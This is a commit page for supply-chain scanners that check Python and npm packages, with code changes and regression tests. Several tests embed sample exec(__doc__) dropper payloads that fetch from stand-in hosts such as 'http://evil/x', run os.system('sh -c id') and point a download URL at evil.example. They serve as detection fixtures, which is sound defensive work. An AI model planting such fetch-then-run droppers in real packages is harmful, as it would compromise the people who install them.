ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Package scanners: close fail-open gaps in the sdist fallback and hidden-payload paths (#6359)

Browse source 
* Package scanners: close fail-open gaps in the sdist fallback and hidden-payload paths

Follow-up hardening on the now-blocking scanners so the enforcing gate cannot
report clean while a malicious artifact goes unscanned.

scan_packages.py
- Hidden payload: also flag a network call AND an os/subprocess exec that live
  only in a blanked docstring/string of an exec/eval file (the fetch-then-run
  shape of an exec(__doc__) dropper). Either alone in real code was already
  covered; hidden together they are the payload.
- Pinned releases fail closed: _release_files no longer falls back to the latest
  artifact when a pinned version is missing or empty, so a yanked/bad pin is an
  error instead of a different file being scanned in its place.
- requires_dist is read from the pinned release's metadata, not the project-level
  (latest) document, so a sdist-only pin follows its own dependency tree.
- Environment markers are evaluated (PEP 508) instead of dropping any marker that
  merely contains the word extra, so default-true markers like extra != 'dev' are
  kept; conservative fallback keeps a dep on any uncertainty.
- Transitive recovery is a depth-bounded worklist: a wheel dependency whose own
  child is sdist-only is fetched (--no-deps) and scanned, then its children are
  recovered in turn, rather than being silently skipped.

scan_npm_packages.py
- Baseline keys use the package-relative path instead of the basename, so the
  same basename in a different directory is not over-suppressed.

Tests cover each case; full scripts pass AST and ruff checks.

* Address review: tighten marker scope, decoy-proof the dropper check, fail closed on missing pin metadata

- Markers: keep any dep whose marker can hold on another install target
  (sys_platform == 'win32', python_version == '3.13'); only drop a marker that
  depends solely on extra and is false with no extra. A scanner runs on one
  target but must cover code installed on others. Pure-extra markers are
  evaluated against default_environment() with extra unset.
- Hidden dropper: the network+exec docstring check now inspects the removed
  (blanked) span directly, so a benign visible network or subprocess call cannot
  mask a payload that still lives in a docstring. Carrier checks stay
  blanked-only (an in-code carrier is already caught by the normal check), so
  corpus findings are unchanged.
- requires_dist: a pinned version whose own metadata cannot be fetched recovers
  nothing rather than substituting the latest release's dependency tree.
- Transitive recovery: the last-ditch direct-sdist branch also chases the
  recovered package's declared deps, matching the other branches.
- npm baseline: schema bumped to v2 (package-relative keys); a pre-v2 baseline
  with entries is ignored (fail closed) instead of mis-applying basename keys.

Tests cover each case; scripts pass AST, ruff, and the import-hoist verifier.

* Scanner: exclude comments from hidden-payload check, flag missing pin metadata as incomplete

Hidden network+exec detection now inspects only docstring/string spans (what exec(__doc__)/exec(<str>) can actually run), so a real exec() beside comments that mention a network and a subprocess call no longer false-positives. Missing pinned-release metadata in transitive recovery records a download_error so the --with-deps path fails closed instead of treating it as no dependencies. Adds regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-06-18 06:50:16 -07:00 • committed by GitHub
commit 07c7f9bfca
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
5 changed files with 380 additions and 55 deletions
Download patch file Download diff file Expand all files Collapse all files

44
scripts/scan_npm_packages.py
View file

@ -1445,7 +1445,7 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
# ─────────────────────────────────────────────────────────────────────
# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate
# can enforce without red-failing on rare legitimate-library behavior.
# Matched on ``(normalized package, basename(filename), pattern)`` -- not
# Matched on ``(normalized package, package-relative path, pattern)`` -- not
# evidence text -- so a version bump does not reopen a finding, but a *new*
# kind of finding in a listed file is a different pattern and still fails.
# Mirrors scan_packages.py. Regenerate with ``--write-baseline``.
@ -1453,6 +1453,12 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
# Bumped when the entry-key semantics change. v2 keys on the package-relative
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
# in a different directory. A pre-v2 baseline with entries is ignored (fail
# closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 2
def _norm_pkg_name(display: str) -> str:
"""``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version.
@ -1468,9 +1474,21 @@ def _norm_pkg_name(display: str) -> str:
return s.lower()
_NPM_TARBALL_ROOT = "package/"
def _relpath_in_package(filename: str) -> str:
"""Path within the published package, stable across version bumps. npm
tarballs root every file at ``package/``; strip it so the key is the real
source path (``dist/index.js``) and a new file with the same basename in a
different directory is not silently suppressed."""
f = (filename or "").replace("\\", "/")
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, file basename, pattern."""
return (_norm_pkg_name(f.package), os.path.basename(f.filename), f.pattern)
"""Stable allowlist key: normalized package, package-relative path, pattern."""
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
@ -1483,10 +1501,18 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
entries = data.get("entries", [])
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
file = sys.stderr,
)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
for e in entries:
try:
keys.add((_norm_pkg_name(e["package"]), os.path.basename(e["file"]), e["pattern"]))
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
except (KeyError, TypeError):
continue
return keys
@ -1506,7 +1532,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": os.path.basename(f.filename),
"file": _relpath_in_package(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
@ -1516,10 +1542,10 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"basename(file), pattern); evidence/severity are for review only. "
"Regenerate with --write-baseline AFTER reviewing every line."
"package-relative path, pattern); evidence/severity are for review "
"only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"version": _BASELINE_SCHEMA_VERSION,
"entries": entries,
}
with open(path, "w", encoding = "utf-8") as fh:

4
scripts/scan_npm_packages_baseline.json
View file

@ -1,5 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, basename(file), pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 1,
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 2,
"entries": []
}

189
scripts/scan_packages.py
View file

@ -534,12 +534,14 @@ def _is_fstring(tok_string: str) -> bool:
return q > 0 and "f" in tok_string[:q].lower()
def _strip_noncode(content: str) -> str:
def _strip_noncode(content: str, blank_comments: bool = True) -> str:
"""Blank comments and bare docstrings so IOC patterns see code only.
Removed regions become spaces (newlines kept) so line numbers stay exact for
_extract_evidence. Fails open on tokenizer errors (the raw text is still
fully scanned, so a real detection is never lost).
fully scanned, so a real detection is never lost). ``blank_comments=False``
keeps comments (only strings/docstrings blanked) to isolate the span that
exec() could actually run.
"""
try:
toks = list(tokenize.generate_tokens(io.StringIO(content).readline))
@ -552,8 +554,9 @@ def _strip_noncode(content: str) -> str:
for i, tok in enumerate(toks):
ttype = tok.type
if ttype == tokenize.COMMENT:
spans.append((*tok.start, *tok.end))
continue # do not advance prev_significant; comments are transparent
if blank_comments:
spans.append((*tok.start, *tok.end))
continue # transparent; never advances prev_significant
if (
ttype == tokenize.STRING
and prev_significant in _LINE_START_TOKENS
@ -619,18 +622,44 @@ def _hidden_payload_findings(
scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""
if not RE_EXEC_EVAL.search(stripped):
return []
# Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot.
# Isolate that span: keep comments as real code, take what string-blanking
# removed (length-preserved, so offsets stay exact for _extract_evidence).
code = _strip_noncode(original, blank_comments = False)
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
def _hidden(pat):
# Carrier present in a blanked region but NOT in real code. A carrier in
# real code is already caught by the normal check, so restricting to
# blanked-only avoids re-flagging legitimate in-code constants.
return bool(pat.search(removed)) and not pat.search(stripped)
for pat, label in _HIDDEN_PAYLOAD_PATTERNS:
if pat.search(original) and not pat.search(stripped):
if _hidden(pat):
out.append(
Finding(
HIGH,
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(original, pat)}",
f"{label}: {_extract_evidence(removed, pat)}",
)
)
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
# live in the blanked region. Search the removed span directly (not "absent
# from real code") so a benign visible network/subprocess call cannot mask
# the docstring payload.
if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed):
out.append(
Finding(
HIGH,
package,
filename,
"exec/eval with hidden network+exec payload",
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
)
)
return out
@ -1560,6 +1589,9 @@ _RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
# no build, same no-exec guarantee. Transport failures are still exit 2; only
# "no wheel" is downgraded to a direct fetch.
# How many levels of indirect-dep recovery to chase (a wheel dep whose own child
# is sdist-only, and so on). Bounded with dedup so recovery always terminates.
_MAX_DEP_FOLLOWUP_DEPTH = 2
_SDIST_DOWNLOAD_TIMEOUT = 180
# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).
_MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES
@ -1573,9 +1605,14 @@ def _spec_pin_version(spec: str) -> str | None:
return m.group(1) if m else None
def _pypi_json(name: str) -> dict | None:
"""Fetch a project's PyPI metadata JSON (read-only HTTPS GET, no exec); None on error."""
url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + "/json"
def _pypi_json(name: str, version: str | None = None) -> dict | None:
"""Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error.
With ``version`` it fetches that release's document, whose ``requires_dist``
is accurate for the pin (the project-level doc describes only the latest)."""
url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "")
if version:
url += "/" + urllib.parse.quote(version, safe = "")
url += "/json"
try:
req = urllib.request.Request(url, headers = {"Accept": "application/json"})
with urllib.request.urlopen(req, timeout = 30) as resp:
@ -1588,11 +1625,11 @@ def _pypi_json(name: str) -> dict | None:
def _release_files(meta: dict, version: str | None) -> list[dict]:
"""Distribution files for a specific version, or the latest release's files."""
if version:
files = meta.get("releases", {}).get(version)
if files:
return files
"""Files for a pinned version, else the latest release's. A pin that is
absent or empty returns [] (never the latest) so a yanked/bad pin fails
closed instead of a different artifact being scanned in its place."""
if version is not None:
return meta.get("releases", {}).get(version) or []
return meta.get("urls", []) or []
@ -1610,10 +1647,50 @@ def _is_trusted_pypi_url(url: str) -> bool:
return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS
def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
_MARKER_ENV_VARS = (
"sys_platform",
"platform_system",
"platform_machine",
"platform_release",
"platform_version",
"platform_python_implementation",
"os_name",
"python_version",
"python_full_version",
"implementation_name",
"implementation_version",
)
def _marker_holds_by_default(marker: str) -> bool:
"""Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner
runs on one OS/Python but a package may be installed on another, so a marker
that can be true on a different target (``sys_platform == 'win32'``,
``python_version == '3.13'``) is always kept; only a marker depending solely
on ``extra`` and false with no extra requested is dropped. Conservative: on
any uncertainty, keep (over-scan, never silently skip)."""
m = marker.strip()
if not m or "extra" not in m:
return True # no extra gate: installed by default on some target -> scan
if any(v in m for v in _MARKER_ENV_VARS):
return True # also platform/python gated: true on some target -> scan
# Pure extra marker: decide by evaluating with no extra requested.
try:
from packaging.markers import Marker, default_environment
env = default_environment()
env["extra"] = ""
return bool(Marker(m).evaluate(env))
except Exception:
# packaging missing/unparseable: drop only a pure positive extra-equality.
return re.fullmatch(r"\s*extra\s*==\s*['\"][^'\"]+['\"]\s*", m) is None
def _requires_dist_names(meta: dict) -> list[str]:
"""Transitive dep specs (name + version specifier) from metadata, to recover
a sdist-only package's tree. The specifier is kept so a pinned malicious
version is fetched, not latest. Skips ``extra``-gated deps."""
version is fetched, not latest. Drops deps whose marker cannot hold for a
default install."""
info = meta.get("info", {}) or {}
reqs = info.get("requires_dist") or []
specs: list[str] = []
@ -1623,8 +1700,8 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
head = r
if ";" in r:
head, marker = r.split(";", 1)
if "extra" in marker:
continue # optional extra; default install would not pull it
if not _marker_holds_by_default(marker):
continue
if not _RE_NAME.match(head.strip()):
continue
# "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly).
@ -1632,6 +1709,30 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
return specs
def _requires_dist_for(
name: str,
version: str | None,
project_meta: dict,
errors: list[str] | None = None,
) -> list[str]:
"""Declared deps for the pinned version, read from that release's metadata
(its ``requires_dist`` can differ from latest). Unpinned uses the
project-level (latest) document. A pinned version whose own metadata cannot
be fetched returns [] (never latest's deps) and, when ``errors`` is given,
records an incomplete-scan error so a partial tree is not read as "no deps"."""
if not version:
return _requires_dist_names(project_meta)
vmeta = _pypi_json(name, version)
if vmeta is None:
msg = f"metadata fetch failed for pinned {name}=={version}; dependency scan incomplete"
if errors is None:
print(f" [WARN] {msg}", file = sys.stderr)
else:
errors.append(msg)
return []
return _requires_dist_names(vmeta)
def _download_sdist_direct(
name: str,
version: str | None,
@ -1751,7 +1852,7 @@ def _resolve_per_spec_with_deps(
if fpath is None:
download_errors.append(serr or f"sdist fetch failed for {name}")
continue
sdist_dep_followups.extend(_requires_dist_names(meta, version))
sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
continue
# Has a wheel but the full transitive tree won't co-resolve
# (ResolutionImpossible) -- typically a package the requirement file
@ -1785,7 +1886,7 @@ def _resolve_per_spec_with_deps(
# which --no-deps skips. Recover the declared deps so that class is
# still scanned (each is fetched as a wheel or direct sdist below).
if meta is not None:
sdist_dep_followups.extend(_requires_dist_names(meta, version))
sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
continue
# --no-deps also failed: last-ditch sdist fetch at the pinned version.
if meta is not None:
@ -1796,15 +1897,21 @@ def _resolve_per_spec_with_deps(
f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}"
)
# Recover the transitive deps of sdist-only packages (deduped, one level).
# `dep` carries the declared version specifier so a pinned version is fetched.
# Recover the transitive deps of sdist-only packages. A depth-bounded,
# deduped worklist so a wheel dep whose own child is sdist-only is itself
# fetched (--no-deps) and scanned -- not silently dropped -- and that child
# is then recovered in turn. `dep` carries the version specifier so a pinned
# version is fetched.
seen: set[str] = set()
for dep in sdist_dep_followups:
worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups]
while worklist:
dep, depth = worklist.pop()
dep_name = _extract_pkg_name(dep)
key = _norm_pkg(dep_name)
if key in seen:
continue
seen.add(key)
dep_ver = _spec_pin_version(dep)
cmd = [
sys.executable,
"-m",
@ -1822,14 +1929,44 @@ def _resolve_per_spec_with_deps(
continue
if proc.returncode == 0:
continue
dep_ver = _spec_pin_version(dep)
meta = _pypi_json(dep_name)
if meta is not None and not _release_has_wheel(meta, dep_ver):
if meta is None:
print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
continue
if not _release_has_wheel(meta, dep_ver):
fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
if fpath is None:
print(f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr)
else:
elif depth < _MAX_DEP_FOLLOWUP_DEPTH:
worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
continue
# Wheel published but its tree won't co-resolve (a sdist-only child).
# Fetch the dep alone so it is scanned, then chase its own declared deps.
nd_cmd = [
sys.executable,
"-m",
"pip",
"download",
"--no-deps",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
dep,
]
try:
nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env)
except subprocess.TimeoutExpired:
print(f" [WARN] dep --no-deps timed out for {dep}", file = sys.stderr)
continue
if nd.returncode == 0:
if depth < _MAX_DEP_FOLLOWUP_DEPTH:
worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
continue
fpath, _serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
if fpath is None:
print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
elif depth < _MAX_DEP_FOLLOWUP_DEPTH:
worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
def download_packages(

51
tests/security/test_scan_npm_packages.py
View file

@ -340,22 +340,32 @@ def test_norm_pkg_name_strips_version_keeps_scope():
def test_baseline_key_is_version_stable():
# Same package/file/pattern across a version bump -> identical key.
a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob")
# Same in-package path across a version bump -> identical key. npm tarballs
# root every file at ``package/``, so the path is stable; only the version in
# the display name changes.
a = _finding("left-pad@1.0.0", "package/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "package/index.js", "obfuscated-blob")
assert snp._finding_key(a) == snp._finding_key(b)
def test_baseline_key_distinguishes_same_basename_diff_dir():
# Package-relative keying: the same basename in a different directory is a
# DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed.
a = _finding("pkg@1.0.0", "package/dist/index.js", "obfuscated-blob")
b = _finding("pkg@1.0.0", "package/src/index.js", "obfuscated-blob")
assert snp._finding_key(a) != snp._finding_key(b)
def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
bl = tmp_path / "bl.json"
bl.write_text(
json.dumps(
{
"version": 1,
"version": snp._BASELINE_SCHEMA_VERSION,
"entries": [
{
"package": "aws-sdk",
"file": "metadata.js",
"file": "package/metadata.js",
"pattern": "cred-surface-host (outbound)",
"severity": "HIGH",
}
@ -366,9 +376,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
)
baseline = snp._load_baseline(str(bl))
listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
# A new pattern in the same file must NOT be suppressed.
new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)")
# A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob")
active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
assert listed in suppressed
assert new_kind in active
@ -377,9 +387,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
def test_write_then_load_baseline_roundtrip(tmp_path):
bl = tmp_path / "out.json"
findings = [
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM), # below thresh
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM), # below thresh
]
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
@ -389,6 +399,25 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
assert all(k[2] != "js-env-token" for k in keys)
def test_legacy_schema_baseline_is_ignored(tmp_path):
# A pre-v2 baseline stored basenames; its keys are ambiguous under
# package-relative matching, so a populated legacy file is ignored (fail
# closed) rather than silently suppressing a different same-named file.
bl = tmp_path / "legacy.json"
bl.write_text(
json.dumps(
{
"version": 1,
"entries": [
{"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"}
],
}
),
encoding = "utf-8",
)
assert snp._load_baseline(str(bl)) == set()
def test_committed_baseline_is_empty_and_valid():
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"

147
tests/security/test_scan_packages.py
View file

@ -356,6 +356,65 @@ def test_exec_with_payload_hidden_in_docstring_flagged():
assert not any("hidden in a docstring" in f.check for f in findings2)
def test_hidden_network_plus_exec_payload_flagged():
# exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds
# BOTH a network fetch and an os/shell exec. Neither is a blob, but together
# they are the payload, so the gate must flag the pair.
payload = (
"import urllib.request, os\n"
"urllib.request.urlopen('http://x/y').read()\n"
"os.system('sh -c id')\n"
)
src = '"""' + payload + '"""\nexec(__doc__)\n'
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
assert any("hidden network+exec payload" in f.check for f in findings)
def test_real_code_network_and_subprocess_not_hidden_combo():
# Both calls live in REAL code (covered by the normal checks); the hidden
# network+exec combo must NOT also fire on them.
src = (
"import subprocess, urllib.request\n"
"def run():\n"
" urllib.request.urlopen('http://x').read()\n"
" subprocess.Popen(['sh'])\n"
"exec('1 + 1')\n"
)
findings = sp.check_py_file(src, "pkg/real.py", "pkg")
assert not any("hidden network+exec payload" in f.check for f in findings)
def test_hidden_payload_survives_visible_decoy():
# A benign visible network call must not mask a docstring payload: the
# detector inspects the removed (blanked) span, not the whole stripped file.
payload = (
"import urllib.request, os\n"
"urllib.request.urlopen('http://evil/x').read()\n"
"os.system('sh -c id')\n"
)
src = (
'"""' + payload + '"""\n'
"import urllib.request\n"
"urllib.request.urlopen('http://benign/ok')\n" # visible decoy
"exec(__doc__)\n"
)
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
assert any("hidden network+exec payload" in f.check for f in findings)
def test_comment_only_network_exec_not_flagged():
# Tokens only in comments are not executable by exec(); the hidden network+exec
# check inspects strings/docstrings (not comments), so this must stay clean.
src = (
"code = 'x = 1'\n"
"exec(code)\n"
"# urllib.request.urlopen('http://host/p').read()\n"
"# subprocess.run(['sh', '-c', 'id'])\n"
)
findings = sp.check_py_file(src, "pkg/ex.py", "pkg")
assert not any("hidden network+exec payload" in f.check for f in findings)
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
@ -467,16 +526,87 @@ def test_requires_dist_skips_extras():
"numpy (>=1.20)",
"torch ; extra == 'dev'", # optional extra -> skipped
"pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept
"payload>=1 ; extra != 'dev'", # default-true marker -> kept
],
)
specs = sp._requires_dist_names(meta, None)
# Version constraints preserved so a pinned dep is fetched, not latest.
specs = sp._requires_dist_names(meta)
# Version constraints are preserved so a pinned dep is fetched, not latest.
assert "numpy>=1.20" in specs
assert "pyyaml>=5" in specs
# The extra-gated dep is skipped entirely.
# A default-true marker that merely mentions ``extra`` is NOT optional.
assert "payload>=1" in specs
# The extra-gated dep is skipped entirely (no torch under any form).
assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
def test_marker_holds_by_default():
# Optional only when the extra is the sole gate.
assert sp._marker_holds_by_default("extra == 'dev'") is False
assert sp._marker_holds_by_default('extra == "dev"') is False
# Default-true markers that mention extra must be kept.
assert sp._marker_holds_by_default("extra != 'dev'") is True
assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
# No marker / plain env marker -> kept.
assert sp._marker_holds_by_default("") is True
# Platform/python markers are kept: the scanner runs on one target but the
# package may install on another, so these deps must still be scanned.
assert sp._marker_holds_by_default("sys_platform == 'win32'") is True
assert sp._marker_holds_by_default("python_version == '3.13'") is True
assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True
def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):
# The pinned release's own metadata cannot be fetched -> recover nothing
# rather than substituting the latest release's (wrong) dependency tree.
project = _meta([], requires = ["latestdep==9.9.9"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []
def test_requires_dist_for_uses_pinned_release(monkeypatch):
# Project-level (latest) metadata declares no malicious dep; the pinned
# release does. _requires_dist_for must follow the pinned release's tree.
project = _meta([], requires = ["harmless>=1"])
pinned = _meta([], requires = ["payload==1.0.0"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)
specs = sp._requires_dist_for("oldpkg", "1.0.0", project)
assert "payload==1.0.0" in specs
assert "harmless>=1" not in specs
def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
# Missing pinned metadata must surface an incomplete-scan error, not a silent
# [] that a caller cannot tell apart from a genuine no-deps release.
project = _meta([], requires = ["latestdep==9.9.9"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
errors: list[str] = []
assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == []
assert errors and "incomplete" in errors[0]
def test_release_files_pinned_missing_fails_closed():
# A pin absent from metadata must NOT fall back to the latest artifact.
meta = _meta(
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
version = "2.0.0",
)
assert sp._release_files(meta, "9.9.9") == [] # missing pin -> empty, not latest
assert sp._release_has_wheel(meta, "9.9.9") is False
assert sp._release_files(meta, "2.0.0") # present pin still resolves
assert sp._release_files(meta, None) # unpinned still uses latest
def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path):
# Pinned version absent -> no sdist returned (never the latest file).
meta = _meta(
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
version = "2.0.0",
)
fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta)
assert fpath is None and "no sdist" in err
assert list(tmp_path.iterdir()) == []
def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
@ -494,7 +624,8 @@ def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch
payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
meta = _meta(
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")],
version = "1.1.6",
)
fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
assert err is None and fpath is not None
@ -520,10 +651,12 @@ def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
lambda name, version = None: _meta(
[_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]
),
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
sp._resolve_per_spec_with_deps(["somepkg==1.0.0"], str(tmp_path), {}, errors)
assert errors and "somepkg" in errors[0]
@ -537,7 +670,7 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta(
lambda name, version = None: _meta(
[_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
),
)